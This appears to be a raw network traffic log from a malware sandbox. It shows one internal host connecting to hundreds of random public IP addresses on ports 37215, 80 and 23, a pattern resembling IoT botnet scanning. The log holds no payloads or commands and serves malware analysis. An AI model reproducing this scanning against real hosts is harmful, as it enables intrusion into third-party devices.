Dec 3, 2024 23:16:45.396859884 CET	40597	37215	192.168.2.23	156.155.153.214
Dec 3, 2024 23:16:45.396862030 CET	40597	37215	192.168.2.23	41.189.132.200
Dec 3, 2024 23:16:45.396873951 CET	40597	37215	192.168.2.23	156.219.41.196
Dec 3, 2024 23:16:45.396879911 CET	40597	37215	192.168.2.23	41.76.79.154
Dec 3, 2024 23:16:45.396893024 CET	40597	37215	192.168.2.23	197.150.211.227
Dec 3, 2024 23:16:45.396895885 CET	40597	37215	192.168.2.23	41.148.119.176
Dec 3, 2024 23:16:45.396914959 CET	40597	37215	192.168.2.23	156.254.254.20
Dec 3, 2024 23:16:45.396920919 CET	40597	37215	192.168.2.23	41.232.87.226
Dec 3, 2024 23:16:45.396920919 CET	40597	37215	192.168.2.23	41.136.148.102
Dec 3, 2024 23:16:45.396929026 CET	40597	37215	192.168.2.23	197.192.43.182
Dec 3, 2024 23:16:45.396941900 CET	40597	37215	192.168.2.23	156.82.200.38
Dec 3, 2024 23:16:45.396954060 CET	40597	37215	192.168.2.23	41.247.156.9
Dec 3, 2024 23:16:45.396955967 CET	40597	37215	192.168.2.23	41.47.122.109
Dec 3, 2024 23:16:45.396966934 CET	40597	37215	192.168.2.23	41.132.8.146
Dec 3, 2024 23:16:45.396970987 CET	40597	37215	192.168.2.23	41.112.220.24
Dec 3, 2024 23:16:45.396972895 CET	40597	37215	192.168.2.23	41.137.22.67
Dec 3, 2024 23:16:45.396984100 CET	40597	37215	192.168.2.23	41.100.88.191
Dec 3, 2024 23:16:45.396984100 CET	40597	37215	192.168.2.23	156.132.239.134
Dec 3, 2024 23:16:45.396991968 CET	40597	37215	192.168.2.23	197.184.75.32
Dec 3, 2024 23:16:45.397006035 CET	40597	37215	192.168.2.23	197.214.226.228
Dec 3, 2024 23:16:45.397006035 CET	40597	37215	192.168.2.23	197.99.67.202
Dec 3, 2024 23:16:45.397017956 CET	40597	37215	192.168.2.23	41.225.128.25
Dec 3, 2024 23:16:45.397017956 CET	40597	37215	192.168.2.23	197.10.80.80
Dec 3, 2024 23:16:45.397039890 CET	40597	37215	192.168.2.23	156.35.91.184
Dec 3, 2024 23:16:45.397047043 CET	40597	37215	192.168.2.23	156.79.190.41
Dec 3, 2024 23:16:45.397059917 CET	40597	37215	192.168.2.23	156.114.41.30
Dec 3, 2024 23:16:45.397062063 CET	40597	37215	192.168.2.23	41.45.0.84
Dec 3, 2024 23:16:45.397063971 CET	40597	37215	192.168.2.23	156.30.46.50
Dec 3, 2024 23:16:45.397072077 CET	40597	37215	192.168.2.23	41.60.129.11
Dec 3, 2024 23:16:45.397088051 CET	40597	37215	192.168.2.23	41.186.52.132
Dec 3, 2024 23:16:45.397090912 CET	40597	37215	192.168.2.23	156.64.42.13
Dec 3, 2024 23:16:45.397104979 CET	40597	37215	192.168.2.23	41.148.77.28
Dec 3, 2024 23:16:45.397104979 CET	40597	37215	192.168.2.23	41.60.233.120
Dec 3, 2024 23:16:45.397121906 CET	40597	37215	192.168.2.23	156.9.175.69
Dec 3, 2024 23:16:45.397124052 CET	40597	37215	192.168.2.23	197.87.36.5
Dec 3, 2024 23:16:45.397135973 CET	40597	37215	192.168.2.23	197.246.227.213
Dec 3, 2024 23:16:45.397152901 CET	40597	37215	192.168.2.23	156.61.27.38
Dec 3, 2024 23:16:45.397161961 CET	40597	37215	192.168.2.23	41.180.1.146
Dec 3, 2024 23:16:45.397167921 CET	40597	37215	192.168.2.23	197.132.232.119
Dec 3, 2024 23:16:45.397171974 CET	40597	37215	192.168.2.23	156.223.118.224
Dec 3, 2024 23:16:45.397190094 CET	40597	37215	192.168.2.23	197.21.195.96
Dec 3, 2024 23:16:45.397192001 CET	40597	37215	192.168.2.23	197.105.220.203
Dec 3, 2024 23:16:45.397192001 CET	40597	37215	192.168.2.23	41.211.202.196
Dec 3, 2024 23:16:45.397206068 CET	40597	37215	192.168.2.23	156.10.67.91
Dec 3, 2024 23:16:45.397209883 CET	40597	37215	192.168.2.23	197.101.40.94
Dec 3, 2024 23:16:45.397219896 CET	40597	37215	192.168.2.23	41.42.139.164
Dec 3, 2024 23:16:45.397236109 CET	40597	37215	192.168.2.23	197.207.223.44
Dec 3, 2024 23:16:45.397248983 CET	40597	37215	192.168.2.23	156.9.99.220
Dec 3, 2024 23:16:45.397250891 CET	40597	37215	192.168.2.23	156.178.82.25
Dec 3, 2024 23:16:45.397268057 CET	40597	37215	192.168.2.23	41.238.86.229
Dec 3, 2024 23:16:45.397269964 CET	40597	37215	192.168.2.23	197.12.87.177
Dec 3, 2024 23:16:45.397278070 CET	40597	37215	192.168.2.23	41.45.244.56
Dec 3, 2024 23:16:45.397284031 CET	40597	37215	192.168.2.23	41.29.253.224
Dec 3, 2024 23:16:45.397299051 CET	40597	37215	192.168.2.23	197.112.16.24
Dec 3, 2024 23:16:45.397310972 CET	40597	37215	192.168.2.23	156.49.158.83
Dec 3, 2024 23:16:45.397311926 CET	40597	37215	192.168.2.23	197.133.241.198
Dec 3, 2024 23:16:45.397310972 CET	40597	37215	192.168.2.23	41.128.123.255
Dec 3, 2024 23:16:45.397330999 CET	40597	37215	192.168.2.23	41.46.121.12
Dec 3, 2024 23:16:45.397341967 CET	40597	37215	192.168.2.23	197.21.213.118
Dec 3, 2024 23:16:45.397346973 CET	40597	37215	192.168.2.23	197.73.5.225
Dec 3, 2024 23:16:45.397360086 CET	40597	37215	192.168.2.23	156.160.255.163
Dec 3, 2024 23:16:45.397367001 CET	40597	37215	192.168.2.23	197.145.56.15
Dec 3, 2024 23:16:45.397383928 CET	40597	37215	192.168.2.23	156.133.227.196
Dec 3, 2024 23:16:45.397386074 CET	40597	37215	192.168.2.23	41.43.248.27
Dec 3, 2024 23:16:45.397397995 CET	40597	37215	192.168.2.23	41.212.42.107
Dec 3, 2024 23:16:45.415813923 CET	44466	80	192.168.2.23	79.244.180.207
Dec 3, 2024 23:16:45.415817976 CET	58542	80	192.168.2.23	152.243.171.49
Dec 3, 2024 23:16:45.415833950 CET	51552	80	192.168.2.23	212.75.146.191
Dec 3, 2024 23:16:45.415836096 CET	39048	80	192.168.2.23	50.139.5.243
Dec 3, 2024 23:16:45.415838003 CET	36488	80	192.168.2.23	81.218.86.221
Dec 3, 2024 23:16:45.415838003 CET	58552	80	192.168.2.23	64.129.209.41
Dec 3, 2024 23:16:45.415846109 CET	49544	80	192.168.2.23	76.249.167.2
Dec 3, 2024 23:16:45.415859938 CET	37826	80	192.168.2.23	4.148.73.18
Dec 3, 2024 23:16:45.415859938 CET	56050	80	192.168.2.23	128.98.121.173
Dec 3, 2024 23:16:45.415864944 CET	47478	80	192.168.2.23	134.245.15.31
Dec 3, 2024 23:16:45.415864944 CET	57592	80	192.168.2.23	182.251.205.165
Dec 3, 2024 23:16:45.415865898 CET	38990	80	192.168.2.23	138.59.212.85
Dec 3, 2024 23:16:45.415868044 CET	41916	80	192.168.2.23	20.226.95.25
Dec 3, 2024 23:16:45.415884018 CET	57554	80	192.168.2.23	138.110.243.243
Dec 3, 2024 23:16:45.415887117 CET	39918	80	192.168.2.23	65.223.32.85
Dec 3, 2024 23:16:45.415889025 CET	59972	80	192.168.2.23	83.7.64.25
Dec 3, 2024 23:16:45.415894985 CET	56316	80	192.168.2.23	36.148.176.14
Dec 3, 2024 23:16:45.415904045 CET	43742	80	192.168.2.23	61.56.27.165
Dec 3, 2024 23:16:45.415906906 CET	51540	80	192.168.2.23	150.39.56.225
Dec 3, 2024 23:16:45.415914059 CET	58852	80	192.168.2.23	89.252.75.13
Dec 3, 2024 23:16:45.415925980 CET	39980	80	192.168.2.23	92.218.24.101
Dec 3, 2024 23:16:45.415927887 CET	59668	80	192.168.2.23	200.237.140.117
Dec 3, 2024 23:16:45.415927887 CET	48844	80	192.168.2.23	169.7.213.50
Dec 3, 2024 23:16:45.415930986 CET	59554	80	192.168.2.23	114.235.208.246
Dec 3, 2024 23:16:45.415937901 CET	41688	80	192.168.2.23	104.232.51.106
Dec 3, 2024 23:16:45.415942907 CET	53596	80	192.168.2.23	133.129.90.10
Dec 3, 2024 23:16:45.415951967 CET	42584	80	192.168.2.23	110.219.87.158
Dec 3, 2024 23:16:45.415955067 CET	35958	80	192.168.2.23	168.201.150.76
Dec 3, 2024 23:16:45.415965080 CET	58044	80	192.168.2.23	136.21.160.150
Dec 3, 2024 23:16:45.415967941 CET	55486	80	192.168.2.23	149.220.102.53
Dec 3, 2024 23:16:45.415970087 CET	44512	80	192.168.2.23	46.235.103.27
Dec 3, 2024 23:16:45.415986061 CET	34608	80	192.168.2.23	84.62.102.3
Dec 3, 2024 23:16:45.415987015 CET	44668	80	192.168.2.23	200.113.220.113
Dec 3, 2024 23:16:45.415987015 CET	40822	80	192.168.2.23	41.149.225.92
Dec 3, 2024 23:16:45.415993929 CET	50870	37215	192.168.2.23	156.167.218.248
Dec 3, 2024 23:16:45.416003942 CET	49630	80	192.168.2.23	42.240.154.229
Dec 3, 2024 23:16:45.416003942 CET	35406	80	192.168.2.23	65.244.187.18
Dec 3, 2024 23:16:45.416012049 CET	33360	80	192.168.2.23	69.237.104.49
Dec 3, 2024 23:16:45.416018963 CET	58940	80	192.168.2.23	213.7.16.234
Dec 3, 2024 23:16:45.416026115 CET	49636	80	192.168.2.23	164.90.130.102
Dec 3, 2024 23:16:45.416028976 CET	55218	80	192.168.2.23	147.122.234.119
Dec 3, 2024 23:16:45.416033030 CET	44434	80	192.168.2.23	81.22.98.221
Dec 3, 2024 23:16:45.416054010 CET	39958	80	192.168.2.23	64.239.90.85
Dec 3, 2024 23:16:45.416054010 CET	49230	80	192.168.2.23	38.183.33.190
Dec 3, 2024 23:16:45.416055918 CET	50054	80	192.168.2.23	94.118.82.104
Dec 3, 2024 23:16:45.416059971 CET	42832	80	192.168.2.23	209.92.96.31
Dec 3, 2024 23:16:45.416059971 CET	45852	80	192.168.2.23	181.102.255.131
Dec 3, 2024 23:16:45.416062117 CET	43788	80	192.168.2.23	122.213.128.42
Dec 3, 2024 23:16:45.447858095 CET	44054	80	192.168.2.23	52.59.102.77
Dec 3, 2024 23:16:45.447859049 CET	32818	80	192.168.2.23	12.128.53.10
Dec 3, 2024 23:16:45.447860003 CET	40424	80	192.168.2.23	179.151.244.139
Dec 3, 2024 23:16:45.447860003 CET	41322	80	192.168.2.23	64.56.86.147
Dec 3, 2024 23:16:45.447860956 CET	54510	80	192.168.2.23	108.21.86.16
Dec 3, 2024 23:16:45.447861910 CET	39092	80	192.168.2.23	119.49.209.67
Dec 3, 2024 23:16:45.447861910 CET	59452	80	192.168.2.23	120.30.121.211
Dec 3, 2024 23:16:45.447861910 CET	43722	80	192.168.2.23	131.8.138.7
Dec 3, 2024 23:16:45.447866917 CET	51842	80	192.168.2.23	186.78.42.49
Dec 3, 2024 23:16:45.447866917 CET	49334	80	192.168.2.23	209.81.157.192
Dec 3, 2024 23:16:45.447866917 CET	40606	80	192.168.2.23	72.180.203.48
Dec 3, 2024 23:16:45.447896957 CET	40132	80	192.168.2.23	185.88.53.109
Dec 3, 2024 23:16:45.447899103 CET	50482	80	192.168.2.23	161.221.196.222
Dec 3, 2024 23:16:45.447900057 CET	43612	80	192.168.2.23	209.166.64.134
Dec 3, 2024 23:16:45.447899103 CET	50530	80	192.168.2.23	198.194.160.28
Dec 3, 2024 23:16:45.447900057 CET	56630	80	192.168.2.23	89.106.217.241
Dec 3, 2024 23:16:45.447901011 CET	59588	80	192.168.2.23	36.127.250.78
Dec 3, 2024 23:16:45.447899103 CET	60496	80	192.168.2.23	86.149.195.141
Dec 3, 2024 23:16:45.447905064 CET	57322	80	192.168.2.23	88.16.203.90
Dec 3, 2024 23:16:45.447900057 CET	58004	80	192.168.2.23	138.109.0.205
Dec 3, 2024 23:16:45.447905064 CET	35828	80	192.168.2.23	194.241.133.101
Dec 3, 2024 23:16:45.447899103 CET	34042	80	192.168.2.23	58.223.72.221
Dec 3, 2024 23:16:45.447901964 CET	56920	80	192.168.2.23	106.19.131.154
Dec 3, 2024 23:16:45.447900057 CET	37196	80	192.168.2.23	206.13.15.63
Dec 3, 2024 23:16:45.447904110 CET	57278	80	192.168.2.23	188.156.0.26
Dec 3, 2024 23:16:45.447923899 CET	55886	80	192.168.2.23	104.224.174.176
Dec 3, 2024 23:16:45.447926998 CET	43422	80	192.168.2.23	20.223.0.235
Dec 3, 2024 23:16:45.447927952 CET	52398	80	192.168.2.23	161.161.6.170
Dec 3, 2024 23:16:45.447932005 CET	34774	80	192.168.2.23	196.5.126.27
Dec 3, 2024 23:16:45.447932005 CET	38802	80	192.168.2.23	76.169.54.168
Dec 3, 2024 23:16:45.447932005 CET	33856	80	192.168.2.23	82.98.126.245
Dec 3, 2024 23:16:45.447932005 CET	47056	80	192.168.2.23	65.29.189.222
Dec 3, 2024 23:16:45.479784012 CET	34882	80	192.168.2.23	131.92.253.181
Dec 3, 2024 23:16:45.479785919 CET	34928	80	192.168.2.23	184.86.41.56
Dec 3, 2024 23:16:45.479798079 CET	57612	80	192.168.2.23	71.139.246.174
Dec 3, 2024 23:16:45.479800940 CET	55888	80	192.168.2.23	144.183.136.97
Dec 3, 2024 23:16:45.479804993 CET	44250	80	192.168.2.23	176.88.220.123
Dec 3, 2024 23:16:45.479808092 CET	57190	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:45.479815960 CET	59886	80	192.168.2.23	181.132.251.28
Dec 3, 2024 23:16:45.479821920 CET	39812	80	192.168.2.23	14.2.153.102
Dec 3, 2024 23:16:45.479830980 CET	49716	80	192.168.2.23	210.203.159.81
Dec 3, 2024 23:16:45.479832888 CET	58076	80	192.168.2.23	123.80.89.111
Dec 3, 2024 23:16:45.507761955 CET	80	48408	211.227.175.197	192.168.2.23
Dec 3, 2024 23:16:45.507941008 CET	48408	80	192.168.2.23	211.227.175.197
Dec 3, 2024 23:16:45.508147001 CET	40596	80	192.168.2.23	175.139.215.108
Dec 3, 2024 23:16:45.508152008 CET	40596	80	192.168.2.23	220.191.45.226
Dec 3, 2024 23:16:45.508162022 CET	40596	80	192.168.2.23	52.109.45.182
Dec 3, 2024 23:16:45.508166075 CET	40596	80	192.168.2.23	159.226.30.29
Dec 3, 2024 23:16:45.508191109 CET	40596	80	192.168.2.23	212.41.170.76
Dec 3, 2024 23:16:45.508191109 CET	40596	80	192.168.2.23	212.112.61.54
Dec 3, 2024 23:16:45.508212090 CET	40596	80	192.168.2.23	182.98.126.220
Dec 3, 2024 23:16:45.508217096 CET	40596	80	192.168.2.23	178.155.16.10
Dec 3, 2024 23:16:45.508233070 CET	40596	80	192.168.2.23	67.247.116.188
Dec 3, 2024 23:16:45.508235931 CET	40596	80	192.168.2.23	128.51.115.82
Dec 3, 2024 23:16:45.508246899 CET	40596	80	192.168.2.23	1.150.101.88
Dec 3, 2024 23:16:45.508253098 CET	40596	80	192.168.2.23	120.18.95.200
Dec 3, 2024 23:16:45.508268118 CET	40596	80	192.168.2.23	138.104.118.122
Dec 3, 2024 23:16:45.508268118 CET	40596	80	192.168.2.23	208.141.89.151
Dec 3, 2024 23:16:45.508277893 CET	40596	80	192.168.2.23	25.10.212.233
Dec 3, 2024 23:16:45.508281946 CET	40596	80	192.168.2.23	223.79.170.57
Dec 3, 2024 23:16:45.508301020 CET	40596	80	192.168.2.23	212.124.53.40
Dec 3, 2024 23:16:45.508306980 CET	40596	80	192.168.2.23	100.176.215.18
Dec 3, 2024 23:16:45.508310080 CET	40596	80	192.168.2.23	47.15.216.14
Dec 3, 2024 23:16:45.508327007 CET	40596	80	192.168.2.23	17.0.48.225
Dec 3, 2024 23:16:45.508335114 CET	40596	80	192.168.2.23	35.251.213.108
Dec 3, 2024 23:16:45.508342981 CET	40596	80	192.168.2.23	137.237.72.178
Dec 3, 2024 23:16:45.508346081 CET	40596	80	192.168.2.23	92.38.135.2
Dec 3, 2024 23:16:45.508352995 CET	40596	80	192.168.2.23	69.206.225.82
Dec 3, 2024 23:16:45.508361101 CET	40596	80	192.168.2.23	70.197.167.63
Dec 3, 2024 23:16:45.508364916 CET	40596	80	192.168.2.23	120.17.242.53
Dec 3, 2024 23:16:45.508378983 CET	40596	80	192.168.2.23	185.155.145.199
Dec 3, 2024 23:16:45.508388996 CET	40596	80	192.168.2.23	13.160.81.109
Dec 3, 2024 23:16:45.508399963 CET	40596	80	192.168.2.23	166.246.136.252
Dec 3, 2024 23:16:45.508404970 CET	40596	80	192.168.2.23	75.214.136.21
Dec 3, 2024 23:16:45.508409023 CET	40596	80	192.168.2.23	97.9.28.186
Dec 3, 2024 23:16:45.508425951 CET	40596	80	192.168.2.23	191.141.178.20
Dec 3, 2024 23:16:45.508428097 CET	40596	80	192.168.2.23	79.77.18.145
Dec 3, 2024 23:16:45.508428097 CET	40596	80	192.168.2.23	100.127.161.10
Dec 3, 2024 23:16:45.508446932 CET	40596	80	192.168.2.23	49.56.161.227
Dec 3, 2024 23:16:45.508447886 CET	40596	80	192.168.2.23	39.126.97.58
Dec 3, 2024 23:16:45.508456945 CET	23	40602	86.223.218.242	192.168.2.23
Dec 3, 2024 23:16:45.508460045 CET	40596	80	192.168.2.23	193.248.38.71
Dec 3, 2024 23:16:45.508461952 CET	40596	80	192.168.2.23	44.93.164.120
Dec 3, 2024 23:16:45.508472919 CET	40596	80	192.168.2.23	41.169.110.133
Dec 3, 2024 23:16:45.508476019 CET	23	40602	173.31.209.207	192.168.2.23
Dec 3, 2024 23:16:45.508480072 CET	40596	80	192.168.2.23	39.183.59.117
Dec 3, 2024 23:16:45.508491993 CET	40596	80	192.168.2.23	109.102.146.148
Dec 3, 2024 23:16:45.508492947 CET	23	40602	213.69.162.227	192.168.2.23
Dec 3, 2024 23:16:45.508505106 CET	23	40602	35.148.186.19	192.168.2.23
Dec 3, 2024 23:16:45.508507013 CET	40602	23	192.168.2.23	86.223.218.242
Dec 3, 2024 23:16:45.508516073 CET	40602	23	192.168.2.23	173.31.209.207
Dec 3, 2024 23:16:45.508517981 CET	23	40602	210.13.5.108	192.168.2.23
Dec 3, 2024 23:16:45.508532047 CET	40602	23	192.168.2.23	213.69.162.227
Dec 3, 2024 23:16:45.508533955 CET	23	40602	23.102.73.106	192.168.2.23
Dec 3, 2024 23:16:45.508534908 CET	40596	80	192.168.2.23	46.118.129.46
Dec 3, 2024 23:16:45.508538961 CET	40602	23	192.168.2.23	35.148.186.19
Dec 3, 2024 23:16:45.508539915 CET	40596	80	192.168.2.23	137.48.74.96
Dec 3, 2024 23:16:45.508541107 CET	40596	80	192.168.2.23	164.31.115.152
Dec 3, 2024 23:16:45.508543015 CET	23	40602	153.60.128.113	192.168.2.23
Dec 3, 2024 23:16:45.508553028 CET	23	40602	151.216.105.82	192.168.2.23
Dec 3, 2024 23:16:45.508555889 CET	40602	23	192.168.2.23	210.13.5.108
Dec 3, 2024 23:16:45.508563995 CET	40602	23	192.168.2.23	23.102.73.106
Dec 3, 2024 23:16:45.508574963 CET	40602	23	192.168.2.23	153.60.128.113
Dec 3, 2024 23:16:45.508584976 CET	40596	80	192.168.2.23	70.74.224.38
Dec 3, 2024 23:16:45.508590937 CET	40602	23	192.168.2.23	151.216.105.82
Dec 3, 2024 23:16:45.508595943 CET	40596	80	192.168.2.23	185.128.79.159
Dec 3, 2024 23:16:45.508599043 CET	40596	80	192.168.2.23	193.187.32.159
Dec 3, 2024 23:16:45.508600950 CET	40596	80	192.168.2.23	2.190.46.30
Dec 3, 2024 23:16:45.508615971 CET	40596	80	192.168.2.23	1.142.66.116
Dec 3, 2024 23:16:45.508616924 CET	40596	80	192.168.2.23	78.45.25.46
Dec 3, 2024 23:16:45.508620024 CET	40596	80	192.168.2.23	25.55.64.150
Dec 3, 2024 23:16:45.508635044 CET	40596	80	192.168.2.23	84.246.245.86
Dec 3, 2024 23:16:45.508635044 CET	40596	80	192.168.2.23	192.120.0.163
Dec 3, 2024 23:16:45.508636951 CET	40596	80	192.168.2.23	202.250.19.229
Dec 3, 2024 23:16:45.508644104 CET	23	40602	143.212.155.26	192.168.2.23
Dec 3, 2024 23:16:45.508651972 CET	40596	80	192.168.2.23	5.206.152.10
Dec 3, 2024 23:16:45.508652925 CET	23	40602	59.255.82.49	192.168.2.23
Dec 3, 2024 23:16:45.508658886 CET	40596	80	192.168.2.23	75.64.187.3
Dec 3, 2024 23:16:45.508661985 CET	23	40602	139.93.186.145	192.168.2.23
Dec 3, 2024 23:16:45.508666992 CET	40596	80	192.168.2.23	14.225.23.150
Dec 3, 2024 23:16:45.508682966 CET	40602	23	192.168.2.23	59.255.82.49
Dec 3, 2024 23:16:45.508687019 CET	40602	23	192.168.2.23	143.212.155.26
Dec 3, 2024 23:16:45.508687019 CET	40596	80	192.168.2.23	23.11.206.251
Dec 3, 2024 23:16:45.508687019 CET	40596	80	192.168.2.23	177.213.182.39
Dec 3, 2024 23:16:45.508688927 CET	40596	80	192.168.2.23	37.55.43.23
Dec 3, 2024 23:16:45.508697033 CET	40602	23	192.168.2.23	139.93.186.145
Dec 3, 2024 23:16:45.508714914 CET	40596	80	192.168.2.23	39.211.187.186
Dec 3, 2024 23:16:45.508714914 CET	40596	80	192.168.2.23	119.48.205.16
Dec 3, 2024 23:16:45.508732080 CET	40596	80	192.168.2.23	128.146.174.114
Dec 3, 2024 23:16:45.508732080 CET	40596	80	192.168.2.23	107.207.81.177
Dec 3, 2024 23:16:45.508750916 CET	40596	80	192.168.2.23	183.152.29.227
Dec 3, 2024 23:16:45.508754015 CET	40596	80	192.168.2.23	167.105.191.200
Dec 3, 2024 23:16:45.508769989 CET	40596	80	192.168.2.23	98.154.218.102
Dec 3, 2024 23:16:45.508771896 CET	40596	80	192.168.2.23	172.39.33.99
Dec 3, 2024 23:16:45.508785963 CET	40596	80	192.168.2.23	66.196.246.180
Dec 3, 2024 23:16:45.508795023 CET	40596	80	192.168.2.23	159.220.121.76
Dec 3, 2024 23:16:45.508795977 CET	40596	80	192.168.2.23	136.168.23.235
Dec 3, 2024 23:16:45.508831978 CET	40596	80	192.168.2.23	36.35.38.132
Dec 3, 2024 23:16:45.508831978 CET	40596	80	192.168.2.23	76.101.135.154
Dec 3, 2024 23:16:45.508833885 CET	40596	80	192.168.2.23	132.17.233.195
Dec 3, 2024 23:16:45.508833885 CET	40596	80	192.168.2.23	173.221.17.118
Dec 3, 2024 23:16:45.508836031 CET	40596	80	192.168.2.23	51.54.227.20
Dec 3, 2024 23:16:45.508845091 CET	40596	80	192.168.2.23	149.172.238.13
Dec 3, 2024 23:16:45.508845091 CET	40596	80	192.168.2.23	54.109.213.114
Dec 3, 2024 23:16:45.508845091 CET	40596	80	192.168.2.23	161.21.10.118
Dec 3, 2024 23:16:45.508845091 CET	40596	80	192.168.2.23	2.98.107.84
Dec 3, 2024 23:16:45.508848906 CET	40596	80	192.168.2.23	92.45.111.118
Dec 3, 2024 23:16:45.508848906 CET	40596	80	192.168.2.23	74.157.222.183
Dec 3, 2024 23:16:45.508851051 CET	40596	80	192.168.2.23	84.159.105.31
Dec 3, 2024 23:16:45.508851051 CET	40596	80	192.168.2.23	107.162.153.67
Dec 3, 2024 23:16:45.508858919 CET	40596	80	192.168.2.23	8.133.57.8
Dec 3, 2024 23:16:45.508865118 CET	40596	80	192.168.2.23	18.32.8.147
Dec 3, 2024 23:16:45.508884907 CET	40596	80	192.168.2.23	89.54.52.194
Dec 3, 2024 23:16:45.508886099 CET	40596	80	192.168.2.23	103.87.4.111
Dec 3, 2024 23:16:45.508902073 CET	40596	80	192.168.2.23	53.179.107.204
Dec 3, 2024 23:16:45.508909941 CET	40596	80	192.168.2.23	160.218.67.232
Dec 3, 2024 23:16:45.508924961 CET	40596	80	192.168.2.23	139.126.102.60
Dec 3, 2024 23:16:45.508927107 CET	40596	80	192.168.2.23	208.50.40.171
Dec 3, 2024 23:16:45.508939028 CET	40596	80	192.168.2.23	142.140.75.75
Dec 3, 2024 23:16:45.508948088 CET	40596	80	192.168.2.23	38.239.73.90
Dec 3, 2024 23:16:45.508958101 CET	40596	80	192.168.2.23	161.137.215.184
Dec 3, 2024 23:16:45.508972883 CET	40596	80	192.168.2.23	47.23.26.242
Dec 3, 2024 23:16:45.508972883 CET	40596	80	192.168.2.23	182.191.199.35
Dec 3, 2024 23:16:45.508987904 CET	40596	80	192.168.2.23	171.2.64.25
Dec 3, 2024 23:16:45.508991957 CET	40596	80	192.168.2.23	113.56.212.237
Dec 3, 2024 23:16:45.509011984 CET	40596	80	192.168.2.23	54.128.126.65
Dec 3, 2024 23:16:45.509012938 CET	40596	80	192.168.2.23	196.59.62.178
Dec 3, 2024 23:16:45.509026051 CET	40596	80	192.168.2.23	136.105.84.196
Dec 3, 2024 23:16:45.509027004 CET	40596	80	192.168.2.23	179.143.221.255
Dec 3, 2024 23:16:45.509038925 CET	40596	80	192.168.2.23	183.245.158.24
Dec 3, 2024 23:16:45.509044886 CET	40596	80	192.168.2.23	32.4.106.134
Dec 3, 2024 23:16:45.509044886 CET	40596	80	192.168.2.23	72.17.9.152
Dec 3, 2024 23:16:45.509047985 CET	40596	80	192.168.2.23	27.220.28.22
Dec 3, 2024 23:16:45.509059906 CET	40596	80	192.168.2.23	126.195.88.214
Dec 3, 2024 23:16:45.509067059 CET	40596	80	192.168.2.23	121.151.125.21
Dec 3, 2024 23:16:45.509074926 CET	23	40602	59.129.94.109	192.168.2.23
Dec 3, 2024 23:16:45.509077072 CET	40596	80	192.168.2.23	193.72.64.120
Dec 3, 2024 23:16:45.509087086 CET	40596	80	192.168.2.23	199.233.161.6
Dec 3, 2024 23:16:45.509095907 CET	23	40602	156.244.103.132	192.168.2.23
Dec 3, 2024 23:16:45.509095907 CET	40596	80	192.168.2.23	164.75.147.141
Dec 3, 2024 23:16:45.509104967 CET	40596	80	192.168.2.23	194.109.159.136
Dec 3, 2024 23:16:45.509111881 CET	40602	23	192.168.2.23	59.129.94.109
Dec 3, 2024 23:16:45.509126902 CET	40596	80	192.168.2.23	142.132.149.91
Dec 3, 2024 23:16:45.509133101 CET	40602	23	192.168.2.23	156.244.103.132
Dec 3, 2024 23:16:45.509150982 CET	23	40602	187.125.11.78	192.168.2.23
Dec 3, 2024 23:16:45.509152889 CET	40596	80	192.168.2.23	149.159.137.33
Dec 3, 2024 23:16:45.509155989 CET	40596	80	192.168.2.23	211.20.123.5
Dec 3, 2024 23:16:45.509160995 CET	23	40602	126.183.65.170	192.168.2.23
Dec 3, 2024 23:16:45.509169102 CET	40596	80	192.168.2.23	58.82.254.248
Dec 3, 2024 23:16:45.509174109 CET	23	40602	137.187.187.101	192.168.2.23
Dec 3, 2024 23:16:45.509176016 CET	40596	80	192.168.2.23	171.81.147.146
Dec 3, 2024 23:16:45.509183884 CET	40596	80	192.168.2.23	191.125.164.61
Dec 3, 2024 23:16:45.509191990 CET	23	40602	85.59.140.30	192.168.2.23
Dec 3, 2024 23:16:45.509193897 CET	40596	80	192.168.2.23	201.54.38.77
Dec 3, 2024 23:16:45.509196997 CET	40602	23	192.168.2.23	126.183.65.170
Dec 3, 2024 23:16:45.509198904 CET	40602	23	192.168.2.23	187.125.11.78
Dec 3, 2024 23:16:45.509198904 CET	40596	80	192.168.2.23	130.141.186.180
Dec 3, 2024 23:16:45.509212017 CET	40602	23	192.168.2.23	137.187.187.101
Dec 3, 2024 23:16:45.509217024 CET	23	40602	212.97.1.50	192.168.2.23
Dec 3, 2024 23:16:45.509222984 CET	40596	80	192.168.2.23	65.18.45.131
Dec 3, 2024 23:16:45.509226084 CET	23	40602	222.27.70.73	192.168.2.23
Dec 3, 2024 23:16:45.509236097 CET	40602	23	192.168.2.23	85.59.140.30
Dec 3, 2024 23:16:45.509236097 CET	40596	80	192.168.2.23	118.46.80.28
Dec 3, 2024 23:16:45.509239912 CET	40596	80	192.168.2.23	99.3.220.217
Dec 3, 2024 23:16:45.509241104 CET	23	40602	139.93.230.251	192.168.2.23
Dec 3, 2024 23:16:45.509241104 CET	40596	80	192.168.2.23	58.229.19.107
Dec 3, 2024 23:16:45.509249926 CET	40602	23	192.168.2.23	212.97.1.50
Dec 3, 2024 23:16:45.509258032 CET	40602	23	192.168.2.23	222.27.70.73
Dec 3, 2024 23:16:45.509258032 CET	23	40602	96.132.61.120	192.168.2.23
Dec 3, 2024 23:16:45.509259939 CET	40596	80	192.168.2.23	114.38.128.45
Dec 3, 2024 23:16:45.509263039 CET	40596	80	192.168.2.23	107.200.112.60
Dec 3, 2024 23:16:45.509267092 CET	23	40602	130.155.72.191	192.168.2.23
Dec 3, 2024 23:16:45.509275913 CET	23	40602	101.213.242.48	192.168.2.23
Dec 3, 2024 23:16:45.509278059 CET	40602	23	192.168.2.23	139.93.230.251
Dec 3, 2024 23:16:45.509279966 CET	40596	80	192.168.2.23	180.52.159.66
Dec 3, 2024 23:16:45.509284973 CET	23	40602	37.234.78.188	192.168.2.23
Dec 3, 2024 23:16:45.509287119 CET	40602	23	192.168.2.23	96.132.61.120
Dec 3, 2024 23:16:45.509300947 CET	40602	23	192.168.2.23	101.213.242.48
Dec 3, 2024 23:16:45.509300947 CET	40602	23	192.168.2.23	130.155.72.191
Dec 3, 2024 23:16:45.509304047 CET	23	40602	184.224.131.118	192.168.2.23
Dec 3, 2024 23:16:45.509318113 CET	23	40602	218.100.158.146	192.168.2.23
Dec 3, 2024 23:16:45.509321928 CET	40602	23	192.168.2.23	37.234.78.188
Dec 3, 2024 23:16:45.509322882 CET	40596	80	192.168.2.23	74.163.141.69
Dec 3, 2024 23:16:45.509325027 CET	40596	80	192.168.2.23	216.205.23.28
Dec 3, 2024 23:16:45.509325027 CET	40596	80	192.168.2.23	59.96.254.191
Dec 3, 2024 23:16:45.509327888 CET	23	40602	222.64.76.248	192.168.2.23
